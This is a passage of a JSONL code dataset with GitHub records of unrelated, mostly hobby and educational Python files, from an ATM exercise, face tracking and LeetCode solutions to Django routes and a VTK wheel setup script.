task.ball.dist_between_last_hits is not None and\n task.ball.dist_between_last_hits > dist):\n return 1.\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_i_received_ball_%dm' % dist,\n base_observable.Generic(_stats_i_received_ball_dist))\n\n def _stats_opponent_intercepted_ball_dist(physics, dist=dist):\n if (_stats_opponent_intercepted_ball(physics) and\n task.ball.dist_between_last_hits is not None and\n task.ball.dist_between_last_hits > dist):\n return 1.\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_opponent_intercepted_ball_%dm' % dist,\n base_observable.Generic(_stats_opponent_intercepted_ball_dist))\n","repo_name":"deepmind/dm_control","sub_path":"dm_control/locomotion/soccer/observables.py","file_name":"observables.py","file_ext":"py","file_size_in_byte":16654,"program_lang":"python","lang":"en","doc_type":"code","stars":3200,"dataset":"github-code","pt":"47"} +{"seq_id":"4232987926","text":"# https://www.youtube.com/watch?v=_XGgwltYpYk&list=PLHz_AreHm4dk_nZHmxxf_J0WRAqy5Czye&index=41\r\n\r\nprint('='*30)\r\nprint('{:^30}'.format('BANCO CEV'))\r\nprint('='*30)\r\n\r\nvalor = int(input('Que valor quer sacar? R$'))\r\ntotal = valor\r\n\r\ncedula = 50\r\ntotalCedula = 0\r\n\r\nwhile True:\r\n if total >= cedula:\r\n total -= cedula\r\n totalCedula += 1\r\n else:\r\n if totalCedula > 0:\r\n print(f'Total de {totalCedula} cédulas de R${cedula}')\r\n if cedula == 50:\r\n cedula = 20\r\n elif cedula == 20:\r\n cedula = 10\r\n elif cedula == 10:\r\n cedula = 1\r\n totalCedula = 0 # cada vez que mude a nota\r\n if total == 0: # se o dinheiro acabar!\r\n break\r\n\r\nprint('='*30)\r\nprint('Volte sempre ao BANCO CEV! Tenha um bom dia!')\r\n","repo_name":"Moreno2Marcos/PYTHON","sub_path":"Python_skills/WHILE_02_exercicios_resolvidos/ex071_simulador_caixa_eletronico.py","file_name":"ex071_simulador_caixa_eletronico.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22898532086","text":"#!/usr/bin/env python3\n\n\"\"\"\nAuthor: Dr. Ing. Ahmad Kamal Nasir\nEmail: dringakn@gmail.com\nDate: 14 Feb 2023\nDescription: Extract UFO messages from a rosbag on specified topic into a ufo and pcd files.\nExample: ./extract_rosbag_ufomap.py /home/ahmad/records_2022-11-29-13-03-50.bag --ufomap_topic /ufomap_mapping_server_node/map\n\"\"\"\n\nimport os # filename, extension extraction\n# from ufomap.ufomap_ros.ufomap_msgs.msg import UFOMapStamped # UFOMap\nimport argparse\nimport rosbag\n\n\ndef main():\n\n parser = argparse.ArgumentParser(description=\"Extract UFO map messages from a rosbag on specified topic into ufo and pcd files.\")\n parser.add_argument(\"bag_file\", help=\"Input ROS bag. (e.g. /path/to/filename.bag)\")\n parser.add_argument(\"--ufomap_topic\", help=\"UFO map topic name.\", default=\"/ufomap_mapping_server_node/map\")\n\n args = parser.parse_args()\n\n output_file, file_extension = os.path.splitext(os.path.basename(args.bag_file))\n output_path = os.path.dirname(args.bag_file)\n output_file1 = f\"{output_path}/{output_file}_ufomap.ufo\"\n output_file2 = f\"{output_path}/{output_file}_ufomap.pcd\"\n\n print(f\"Extract UFO map from {args.bag_file} on topic {args.ufomap_topic} into {output_file1} and {output_file2}\")\n\n bag = rosbag.Bag(args.bag_file, \"r\")\n\n count = 0\n points = []\n init = False\n for topic, msg, t in bag.read_messages(topics=[args.ufomap_topic]):\n count += 1\n print(dir(msg))\n break\n # try:\n # points = np.array(points, dtype = np.float32)\n # cloud = pcl.PointCloud()\n # cloud.from_array(points)\n # pcl.save(cloud, output_file, format=\"pcd\", binary=True)\n # print(f\"Created PCD [{count}]: {output_file}\")\n # except Exception as ex:\n # print(f\"Error creating {output_file}\")\n # print(f\"Error: {ex}\") \n # bag.close()\n\n return\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dringakn/ROSExamples","sub_path":"script/extract_rosbag_ufomap.py","file_name":"extract_rosbag_ufomap.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"3971170076","text":"import inspect\nimport importlib\nimport sys\nimport pkgutil\n\nimport woob.capabilities\n\nfrom recipe import Recipe\n\n\n__all__ = ['BaseRecipe', 'CapRecipe']\n\n\nclass BaseRecipe(Recipe):\n NAME = 'base'\n\n def generate(self):\n self.write('__init__.py', self.template('init'))\n self.write('module.py', self.template('base_module'))\n self.write('browser.py', self.template('base_browser'))\n self.write('pages.py', self.template('base_pages'))\n self.write('test.py', self.template('base_test'))\n self.write('requirements.txt', self.template('requirements.txt'))\n\n\nclass CapRecipe(Recipe):\n NAME = 'cap'\n\n def __init__(self, args):\n super().__init__(args)\n self.capname = args.capname\n\n PREFIX = 'woob.capabilities.'\n if not self.capname.startswith(PREFIX):\n self.capname = PREFIX + self.capname\n\n try:\n self.capmodulename, self.capname = self.capname.rsplit('.', 1)\n except ValueError:\n self.error('Cap name must be in format module.CapSomething or CapSomething')\n\n self.login = args.login\n self.methods = []\n\n @classmethod\n def configure_subparser(cls, subparsers):\n subparser = super().configure_subparser(subparsers)\n subparser.add_argument('--login', action='store_true', help='The site requires login')\n subparser.add_argument('capname', help='Capability name')\n return subparser\n\n def find_module_cap(self):\n if '.' not in self.capname:\n return self.search_cap()\n\n try:\n module = importlib.import_module(self.capmodulename)\n except ImportError:\n self.error(f'Module {self.capmodulename} not found')\n try:\n cap = getattr(module, self.capname)\n except AttributeError:\n self.error(f'Module {self.capmodulename} has no such capability {self.capname}')\n return cap\n\n def search_cap(self):\n modules = pkgutil.walk_packages(woob.capabilities.__path__, prefix='woob.capabilities.')\n for _, capmodulename, __ in modules:\n module = importlib.import_module(capmodulename)\n if hasattr(module, self.capname):\n self.capmodulename = capmodulename\n return getattr(module, self.capname)\n\n self.error(f'Capability {self.capname} not found')\n return None\n\n def error(self, message):\n print(message, file=sys.stderr)\n sys.exit(1)\n\n def methods_code(self, klass):\n methods = []\n\n for name, member in inspect.getmembers(klass):\n if inspect.isfunction(member) and name in klass.__dict__:\n lines, _ = inspect.getsourcelines(member)\n methods.append(lines)\n\n return methods\n\n def generate(self):\n cap = self.find_module_cap()\n\n self.methods = self.methods_code(cap)\n\n self.write('__init__.py', self.template('init'))\n self.write('module.py', self.template('cap_module'))\n self.write('browser.py', self.template('base_browser'))\n self.write('pages.py', self.template('base_pages'))\n self.write('test.py', self.template('base_test'))\n self.write('requirements.txt', self.template('requirements.txt'))\n","repo_name":"rbignon/woob","sub_path":"tools/boilerplate/boilerplate_data/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"47"} +{"seq_id":"2736793700","text":"# main.py -- put your code here!\nfrom machine import UART\nfrom machine import Pin\nimport pycom\nimport time\npycom.heartbeat(False)\n\n# this uses the UART_1 default pins for TXD and RXD (``P3`` and ``P4``)\nuart = UART(1, baudrate=9600, pins=('P20', 'P21'))\np_in = Pin('P10', mode=Pin.IN, pull=Pin.PULL_DOWN)\n\n\ndef read_all():\n text = \"\"\n read_bytes = 0\n while read_bytes < 2048:\n nbytes = uart.any()\n if nbytes:\n read_bytes += nbytes\n try:\n bytesin = uart.read(nbytes)\n if bytesin:\n text += bytesin.decode(\"utf-8\")\n except:\n pass\n nbytes = 0\n else:\n break\n\n return text\n\nprint(\"Starting...\")\n\nwhile True:\n btn_val = p_in() # get value, 0 or 1\n\n if (btn_val == 1):\n pycom.rgbled(0x1000)\n print(\"Sending spin to pull lever.\")\n uart.write(b'spin')\n pycom.rgbled(0x0000)\n\n result = read_all()\n if result: print(result)\n time.sleep(0.2)\n","repo_name":"ThenTech/NIIP-Labo","sub_path":"Lab1/Opdracht_2.2/UART/Client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32415929622","text":"import os\nfname = os.path.join(\"tempdata\", \"tragedies\", \"romeoandjuliet\")\nromjul= open(fname, 'r')\nline_num=0\n#for x in romjul:\n\t#line_num+=1\nfor x in range(4766-5):\n\tline_num+=1\n\tromjul.readline()\nfor line in romjul:\n\tline_num+=1\n\trealline= str(line_num)+\": \" +line.strip()\n\tprint(realline)\nromjul.close()\n","repo_name":"hreid22/compciv-2016","sub_path":"exercises/0004-shakefiles/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29797870902","text":"import numpy as np\nimport cv2\nimport datetime\nimport pprint as pp\nimport time\nimport pymongo\n\n\n\ndef CamInt():\n # Define the codec and create VideoWriter object (note isColor is False for Gray)\n timestamp = int(time.time())\n image_rename = str(timestamp) + '.avi'\n #pp.pprint(image_rename)\n\n fourcc = cv2.VideoWriter_fourcc(*'DIVX')\n out = cv2.VideoWriter(image_rename,\n fourcc, 30.0, (640, 480), isColor=False)\n \n\n # Look for the first Videosource, define the camerasettings and create HD-VideoCapture object\n cap = cv2.VideoCapture(0)\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n cap.set(cv2.CAP_PROP_FPS, 30)\n\n # Define gaussian mixture-based background/foreground segmentation object\n foreground = cv2.createBackgroundSubtractorMOG2(detectShadows=False)\n\n while(True):\n # Get camframe in HD\n (ret, camframe) = cap.read()\n # No colors\n grayframe = cv2.cvtColor(camframe, cv2.COLOR_BGR2GRAY)\n # Resize it\n smallframe = cv2.resize(grayframe, (1080, 760))\n # Denoising\n blurframe = cv2.medianBlur(smallframe, 3)\n # Get motion\n motionframe = foreground.apply(blurframe)\n # Show some\n cv2.imshow('motionframe', motionframe)\n cv2.imshow('blurframe', blurframe)\n # Threshold\n detect = (np.sum(motionframe))//255\n if detect > 30000:\n \n #print(\"moving object size = \", detect, currenttime)\n motion=str(detect)\n #write HD-stream to .avi -file\n #write values\n #intiate connection to mongo collection mafirimu\n dbchange = pymongo.MongoClient(\"mongodb://127.0.0.1:27017\")\n changedb = dbchange[\"lenz\"]\n mycol = changedb[\"mafirimu\"]\n\n #user form data as dictionary\n date = str(datetime.datetime.now())\n motion_captured = {'date_time':date, 'camera_feed':0 , 'time_stamps':image_rename, 'motion':motion}\n mycol.insert_one(motion_captured)\n \n out.write(grayframe)\n k = cv2.waitKey(1) & 0xff\n # For more camerasettings type \"s\"\n if k == ord('s'):\n cap.set(cv2.CAP_PROP_SETTINGS, 0)\n # Stop it with the SpaceBar or ESC\n if k == ord(' ') or k == 27 or ret == False:\n break\n\n\n cap.release()\n out.release()\n cv2.destroyAllWindows()\n\n return detect\n","repo_name":"achiodza/LenzAlot","sub_path":"magic.py","file_name":"magic.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25965933559","text":"#336. Palindrome Pairs\n#문제 링크 : https://leetcode.com/problems/palindrome-pairs/\n\n#내 풀이 (시간초과)\nfrom typing import List\n\nclass Solution:\n def palindromePairs(self, words: List[str]) -> List[List[int]]:\n \n output=[]\n \n for idx, word in enumerate(words):\n for idx2, word2 in enumerate(words):\n if idx==idx2:\n continue\n if word+word2==(word+word2)[::-1]:\n output.append([idx, idx2])\n \n return output\n\n#책 풀이 : 트라이 구현\nimport collections\nfrom typing import List\n\n\n# 트라이 저장할 노드\nclass TrieNode:\n def __init__(self):\n self.children = collections.defaultdict(TrieNode)\n self.word_id = -1\n self.palindrome_word_ids = []\n\n\nclass Trie:\n def __init__(self):\n self.root = TrieNode()\n\n @staticmethod\n def is_palindrome(word: str) -> bool:\n return word[::] == word[::-1]\n\n # 단어 삽입\n def insert(self, index, word) -> None:\n node = self.root\n for i, char in enumerate(reversed(word)):\n if self.is_palindrome(word[0:len(word) - i]):\n node.palindrome_word_ids.append(index)\n node = node.children[char]\n node.word_id = index\n\n def search(self, index, word) -> List[List[int]]:\n result = []\n node = self.root\n\n while word:\n # 판별 로직 3) (본문 설명 참고)\n if node.word_id >= 0:\n if self.is_palindrome(word):\n result.append([index, node.word_id])\n if not word[0] in node.children:\n return result\n node = node.children[word[0]]\n word = word[1:]\n\n # 판별 로직 1) (본문 설명 참고)\n if node.word_id >= 0 and node.word_id != index:\n result.append([index, node.word_id])\n\n # 판별 로직 2) (본문 설명 참고)\n for palindrome_word_id in node.palindrome_word_ids:\n result.append([index, palindrome_word_id])\n\n return result\n\n\nclass Solution:\n def palindromePairs(self, words: List[str]) -> List[List[int]]:\n trie = Trie()\n\n for i, word in enumerate(words):\n trie.insert(i, word)\n\n results = []\n for i, word in enumerate(words):\n results.extend(trie.search(i, word))\n\n return results\n\n'''\n모든 입력값을 뒤집어서 트라이를 구성한다. (근데 왜 뒤집어서 구성? 팰린드롬 확인할 때 편하려고?)\n해당 입력값의 인덱스를 알아야 하기 때문에 인덱스를 저장한다. \n*판별로직 1 : 끝까지 탐색했을 때 word_id가 있는 경우\n입력값을 탐색하다가 끝나는 지점의 word_id 값이 -1이 아니고 \n입력값의 index와 다르면 팰린드롬으로 판별할 수 있다.\n\n*판별로직 2 : 끝까지 탐색했을 때 palindrome_word_ids가 있는 경우\n트라이를 삽입할 때 단어자체가 팰린드롬이면 미리 팰린드롬 여부를 세팅하는 것이다.\ninsert할 때 단어에서 문자 수를 줄이면서 팰린드롬 여부를 확인한다.(is_palindrome)\n이때 문자 하나도 팰린드롬이기 때문에 팰린드롬 여부가 세팅된다.\npalindrome_word_ids에 팰린드롬으로 판별된 인덱스가 저장된다.\n\n*판별로직 3 : 탐색 중간에 word_id가 있고 나머지 문자가 팰린드롬인 경우\n입력값을 순서대로 확인하다가 해당 노드의 word_id가 -1이 아닌 경우\n나머지 문자가 팰린드롬이면 팰린드롬으로 판별한다.\n\n\n\n\n''' ","repo_name":"wwyyww/algorithm","sub_path":"LeetCode/trie/palindrome-pairs.py","file_name":"palindrome-pairs.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73343341901","text":"from django.urls import path\nfrom main.views import *\n\n\napp_name = 'main'\n\n\nurlpatterns = [\n path('', show_landing_page, name='show_landing_page'),\n path('main/', show_main, name='show_main'),\n path('register/', register, name='register'),\n path('login/', login_user, name='login'),\n path('logout/', logout_user, name='logout'),\n\n path('get-items/', get_item_json, name='get_item_json'),\n path('create-ajax/', add_item_ajax, name='create_ajax'),\n path('delete-ajax/', delete_item_ajax, name='delete_ajax'),\n path('add-stock/', add_stock_ajax, name='add_stock'),\n path('sub-stock/', sub_stock_ajax, name='sub_stock'),\n\n path('xml/', show_xml, name='show_xml'),\n path('json/', show_json, name='show_json'),\n path('xml//', show_xml_by_id, name='show_xml_by_id'),\n path('json//', show_json_by_id, name='show_json_by_id'),\n\n path('create-flutter/', create_item_flutter, name='create_item_flutter'),\n path('get-items-flutter/', get_item_flutter, name='get_item_flutter'),\n]\n","repo_name":"restuaar/book-collection","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29971795623","text":"import tkinter as tk\nfrom .. import assets, defaults\n\nclass ImageLabel(tk.Label):\n def __init__(self, container, **kwargs):\n icon = kwargs[\"icon\"]\n del kwargs[\"icon\"]\n\n width = kwargs.get(\"width\") or defaults.imageSize[\"width\"]\n height = kwargs.get(\"height\") or defaults.imageSize[\"height\"]\n\n kwargs[\"image\"] = assets.toPhotoImage(icon, width = width, height = height)\n\n tk.Label.__init__(self, container, **kwargs)\n\n self.image = kwargs[\"image\"]\n","repo_name":"Kitoista/thesis","sub_path":"src/gui/components/imageLabel.py","file_name":"imageLabel.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5272215475","text":"import requests, uuid, os\n\n# Add your key and endpoint\nkey = os.environ[\"TRANSLATOR_KEY\"]\nendpoint = \"https://api.cognitive.microsofttranslator.com\"\n\n# Add your location, also known as region. The default is global.\n# This is required if using a Cognitive Services resource.\nlocation = os.environ[\"LOCATION\"]\n\npath = '/translate'\nconstructed_url = endpoint + path\n\ndef translateText(text, langFrom, langTo):\n params = {\n 'api-version': '3.0',\n 'from': langFrom,\n 'to': langTo\n }\n\n headers = {\n 'Ocp-Apim-Subscription-Key': key,\n 'Ocp-Apim-Subscription-Region': location,\n 'Content-type': 'application/json',\n 'X-ClientTraceId': str(uuid.uuid4())\n }\n\n # You can pass more than one object in body.\n body = [{\n 'text': text\n }]\n\n request = requests.post(constructed_url, params=params, headers=headers, json=body)\n response = request.json()\n return response","repo_name":"sadadpasa/Language-Translator-Web-App","sub_path":"serverless/TranslateFunc/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10727645830","text":"from turtle import Turtle\nfrom random import randint\n\nCOLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\nSTARTING_MOVE_DISTANCE = 5\nMOVE_INCREMENT = 10\n\n\nclass CarManager(Turtle):\n def __init__(self):\n self.movement = STARTING_MOVE_DISTANCE\n super().__init__()\n self.penup()\n # Randomly spawn\n self.goto(300, randint(-250, 250))\n self.shape(\"square\")\n # Randomly generate color\n self.color(COLORS[randint(0, len(COLORS) - 1)])\n self.shapesize(stretch_len=2)\n self.setheading(180)\n self.scroll()\n\n def scroll(self):\n self.forward(self.movement)\n\n @staticmethod\n def increment():\n global STARTING_MOVE_DISTANCE\n STARTING_MOVE_DISTANCE += MOVE_INCREMENT\n","repo_name":"raymondsng/project_exploration","sub_path":"TurtleCrossing/car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26609596909","text":"from trac.core import *\nfrom trac.ticket.api import ITicketChangeListener\nfrom trac.util.translation import _\n\nfrom api import AchievementsProvider, AchievementsSystem\n\nclass TicketAchievementsProvider(Component):\n \"\"\"An achievement provider for ticket-related achievements.\"\"\"\n\n implements(ITicketChangeListener, AchievementsProvider)\n\n # ITicketChangeListener methods\n def ticket_created(self, tkt):\n if tkt['reporter'] != 'anonymous':\n AchievementsSystem(self.env).update('ticket.created', tkt['reporter'], 1)\n\n def ticket_changed(self, tkt, comment, author, old_values):\n if author == 'anonymous':\n return\n if comment:\n AchievementsSystem(self.env).update('ticket.comments', author, 1)\n if old_values.get('state') != tkt['state'] and tkt['state'] == 'closed':\n if tkt['resolution'] == 'fixed' and tkt['reporter'] != 'anonymous':\n AchievementsSystem(self.env).update('ticket.reported.closedfixed', tkt['reporter'], 1)\n AchievementsSystem(self.env).update('ticket.closed', author, 1)\n \n\n def ticket_deleted(self, tkt):\n pass\n\n # AchievementsProvider methods\n def get_achievements(self):\n yield {\n 'name': 'ticket.comments.r1',\n 'display': _('Comment on a ticket'),\n 'counter': 'ticket.comments',\n 'value': 1,\n }\n yield {\n 'name': 'ticket.comments.r2',\n 'display': _('Comment on 5 tickets'),\n 'counter': 'ticket.comments',\n 'value': 5,\n 'requires': ['ticket.comments.r1'],\n }\n yield {\n 'name': 'ticket.comments.r3',\n 'display': _('Comment on 10 tickets'),\n 'counter': 'ticket.comments',\n 'value': 10,\n 'requires': ['ticket.comments.r2'],\n }\n yield {\n 'name': 'ticket.created.r1',\n 'display': _('Create a ticket'),\n 'counter': 'ticket.created',\n 'value': 1,\n 'requires': ['ticket.comments.r1'],\n }\n\n","repo_name":"coderanger/trac-achievements","sub_path":"achievements/ticket.py","file_name":"ticket.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13626360323","text":"from pathlib import Path\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\ndef write_to_queue(message):\n message = message.replace(\"\\n\", \" \").strip() + \"\\n\"\n messages = []\n try:\n with open(\"telegram-messages.txt\", \"r\") as messagefile:\n messages = list(messagefile)\n if (len(messages) > 4):\n messages = messages[-4:]\n messages.append(message)\n messages_string = \"\".join(messages)\n with open(\"telegram-messages.txt\", \"w\") as messagefile:\n messagefile.write(messages_string)\n\n except FileNotFoundError:\n with open(\"telegram-messages.txt\", \"x\") as messagefile:\n pass\n write_to_queue(message)\n\n\ndef read_token():\n try:\n return os.environ['OLOSCREEN_TELEGRAM_TOKEN']\n except KeyError:\n raise Exception(\n \"Couldn't read Telegram bot token from env OLOSCREEN_TELEGRAM_TOKEN\")\n","repo_name":"athenekilta/oloscreen-v2","sub_path":"backend/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"30534753301","text":"# Reverse String\n# Description\n# Build a function RevStr to reverse a string.\n\n# Examples\n# RevStr(\"abcd\") returns \"dcba\"\n\ndef RevStr(mystring):\n mylist=list(mystring)\n newlist=list()\n for i in range(0,len(mylist)):\n newlist.append(mylist.pop())\n newstring=\"\"\n newstring = newstring.join(newlist)\n return newstring\n","repo_name":"chunxu/Py39","sub_path":"RevStr.py","file_name":"RevStr.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6815640641","text":"produto = int(input(\"Digite o preço do produto: R$\"))\r\npagamento = int(input(\"Qual o modelo de pagamento '1 A Vista''2 Cheque''3 Cartão': \"))\r\nparcelado = int(input(\"Digite quantas vezes voce vai efetuar o pagamento'0 é a vista''De 1 a infinito é o valor de vezes que voce deseja parcelar': \"))\r\nif pagamento == 1 or pagamento == 2 and parcelado == 0:\r\n desconto = produto * 0.10\r\n produtofinal = produto - desconto\r\n print(\"A vista dinheiro/cheque tem 10% de desconto e irá sair {}\".format(produtofinal))\r\nelif pagamento == 3 and parcelado == 0:\r\n desconto = produto * 0.05\r\n produtofinal = produto - desconto\r\n print(\"O preço á vista no cartão tem 5% de desconto e irá sair {}\".format(produtofinal))\r\nelif pagamento == 3 and parcelado == 2:\r\n print(\"Voce irá pagar o mesmo valor, {}\".format(produto))\r\nelif pagamento == 3 and parcelado >=3:\r\n desconto = (produto * 0.20) + produto\r\n print(\"{}x no cartão tem 20% de juros e irá sair {}\".format(parcelado,desconto))\r\n\r\n\r\n","repo_name":"Y1zz23/GerenciadorDePagamentos","sub_path":"GerenciadorDePagamentos.py","file_name":"GerenciadorDePagamentos.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"23879397464","text":"from picamera.array import PiRGBArray \nfrom picamera import PiCamera \nimport time \nimport cv2 \nimport sys \nimport imutils \nimport RPi.GPIO as GPIO \nimport OSC \nimport shiftpi \nimport threading \n \n#GPIO + servo control took from RPi Labs, for UOIT Students \n#spi.science.uoit.ca/lab/servo \n \nbtnPin = 23 \nservoX = 18 \n \n#GPIO.setmode(GPIO.BOARD) \nGPIO.setup(servoX, GPIO.OUT) \nGPIO.setup(btnPin, GPIO.IN, pull_up_down=GPIO.PUD_UP) \n \n \np = GPIO.PWM(servoX,50) \n \np.start(2) \np.ChangeDutyCycle(7.5) \n \nshiftpi.digitalWrite(1, shiftpi.LOW) \n \n \nclient = OSC.OSCClient() \nclient.connect(('192.168.2.102', 12345)) \n#receive_address = '127.0.0.1', 12346 \n#server = OSC.ThreadingOSCServer(receive_address) \n \n#server.addDefaultHandlers() \n \n#def result(addr, tags, stuff, source): \n# if addr==\"/lights\": \n# print \"test\", stuff \n# else: \n# print \"tt\", stuff \n \n#server.addMsgHandler(\"/lights\", result) \n \n#print \"test\" \n#st = threading.Thread(target=server.serve_forever) \n#st.start() \n \n \nmsg = OSC.OSCMessage() \nmsg.append('BTN')\n\ndef translate(value, leftMin, leftMax, rightMin, rightMax):\n leftSpan = leftMax - leftMin\n rightSpan = rightMax - rightMin\n\n valueScaled = float(value - leftMin) / float(leftSpan)\n\n return rightMin + (valueScaled * rightSpan)\n\n#Get user supplied values\ncascPath = sys.argv[1]\n\n# Create the haar cascade\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\n# initialize the camera and grab a reference to the raw camera capture\ncamera = PiCamera()\ncamera.resolution = (160, 120)\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=(160, 120))\n\n# allow the camera to warmup\ntime.sleep(0.1)\nlastTime = time.time()*1000.0\nbPressed = False\n# capture frames from the camera\nfor frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n\n input_state = GPIO.input(btnPin)\n if input_state == False and bPressed == False:\n msg.setAddress(\"/buttonOn\")\n client.send(msg)\n bPressed = True\n\n elif input_state == True and bPressed == True:\n msg.setAddress(\"/buttonOff\")\n client.send(msg)\n bPressed = False\n\n\n # grab the raw NumPy array representing the image, then initialize the timestamp\n # and occupied/unoccupied text\n image = frame.array\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # Detect faces in the image\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags = cv2.cv.CV_HAAR_SCALE_IMAGE\n )\n # print time.time()*1000.0-lastTime,\" Found {0} faces!\".format(len(faces))\n lastTime = time.time()*1000.0\n # Draw a rectangle around the faces\n for (x, y, w, h) in faces:\n cv2.circle(image, (x+w/2, y+h/2), int((w+h)/3), (255, 255, 255), 1)\n posx = translate(x, 0, 120, 12, 2.5)\n if posx < 4.5 or posx > 10:\n p.ChangeDutyCycle(7.5)\n else:\n p.ChangeDutyCycle(posx)\n # show the frame\n cv2.imshow(\"Frame\", image)\n key = cv2.waitKey(1) & 0xFF\n\n # clear the stream in preparation for the next frame\n rawCapture.truncate(0)\n\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n # st.stop()\n break\n","repo_name":"flajtamakapra/CART360","sub_path":"FINAL_ASSIGNMENT/Code/face-detection.py","file_name":"face-detection.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73333449422","text":"class Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n nums.sort()\n \n vmap = defaultdict(int)\n for i, num in enumerate(nums):\n vmap[-num] = i\n \n ans = set()\n for i in range(len(nums)):\n for j in range(i + 1, len(nums)):\n k = nums[i] + nums[j]\n if k in vmap and i < vmap[k] and j < vmap[k]:\n ans.add((nums[i], nums[j], -k))\n return ans","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"15-3sum/15-3sum.py","file_name":"15-3sum.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31647264671","text":"from trios.classifiers import SKClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom trios.feature_extractors import RAWFeatureExtractor, CombinationPattern\nimport trios\nimport numpy as np\n\nimport trios.shortcuts.persistence as p\nimport trios.shortcuts.window as w\n\nif __name__ == '__main__':\n np.random.seed(10) # set this to select the same window everytime\n images = trios.Imageset.read('../jung-images/level1.set')\n images2 = trios.Imageset.read('../jung-images/level2.set')\n test = trios.Imageset.read('../jung-images/test.set')\n\n domain = np.ones((9, 7), np.uint8)\n windows = [w.random_win(domain, 40, True) for i in range(5)]\n ops = []\n for i in range(5):\n op = trios.WOperator(windows[i], SKClassifier(DecisionTreeClassifier()), RAWFeatureExtractor)\n print('Training...', i)\n op.train(images)\n ops.append(op)\n \n comb = CombinationPattern(*ops)\n wop2 = trios.WOperator(comb.window, SKClassifier(DecisionTreeClassifier()), comb) \n print('Training 2nd level')\n wop2.train(images2)\n \n print('Error', wop2.eval(test))\n\n","repo_name":"trioslib/trios","sub_path":"docs/examples/methods/two-level.py","file_name":"two-level.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"37151922025","text":"import os\nfrom pathlib import Path\nimport platform\nimport shutil\nimport subprocess\nimport sys\n\nfrom skbuild import setup\n\n\nvtk_looking_glass_module_source_dir = Path(__file__).parent.resolve()\n\n\ndef auto_download_vtk_wheel_sdk():\n # Automatically download the VTK wheel SDK based upon the current platform\n # and python version.\n # If the download location changes, we may need to change the logic here.\n # Returns the path to the unpacked SDK.\n\n base_url = 'https://vtk.org/files/wheel-sdks/'\n prefix = 'vtk-wheel-sdk'\n default_sdk_version = '9.2.2'\n # The user can set the sdk version via an environment variable\n sdk_version = os.getenv('VTK_WHEEL_SDK_VERSION', default_sdk_version)\n py_version_short = ''.join(map(str, sys.version_info[:2]))\n\n py_version = f'cp{py_version_short}-cp{py_version_short}'\n if sys.version_info[:2] < (3, 8):\n # Need to add 'm' at the end\n py_version += 'm'\n\n platform_suffixes = {\n 'linux': 'manylinux_2_17_x86_64.manylinux2014_x86_64',\n 'darwin': 'macosx_10_10_x86_64',\n 'win32': 'win_amd64',\n }\n\n if sys.platform not in platform_suffixes:\n raise NotImplementedError(sys.platform)\n\n platform_suffix = platform_suffixes[sys.platform]\n\n if sys.platform == 'darwin':\n is_arm = (\n platform.machine() == 'arm64' or\n # ARCHFLAGS: see 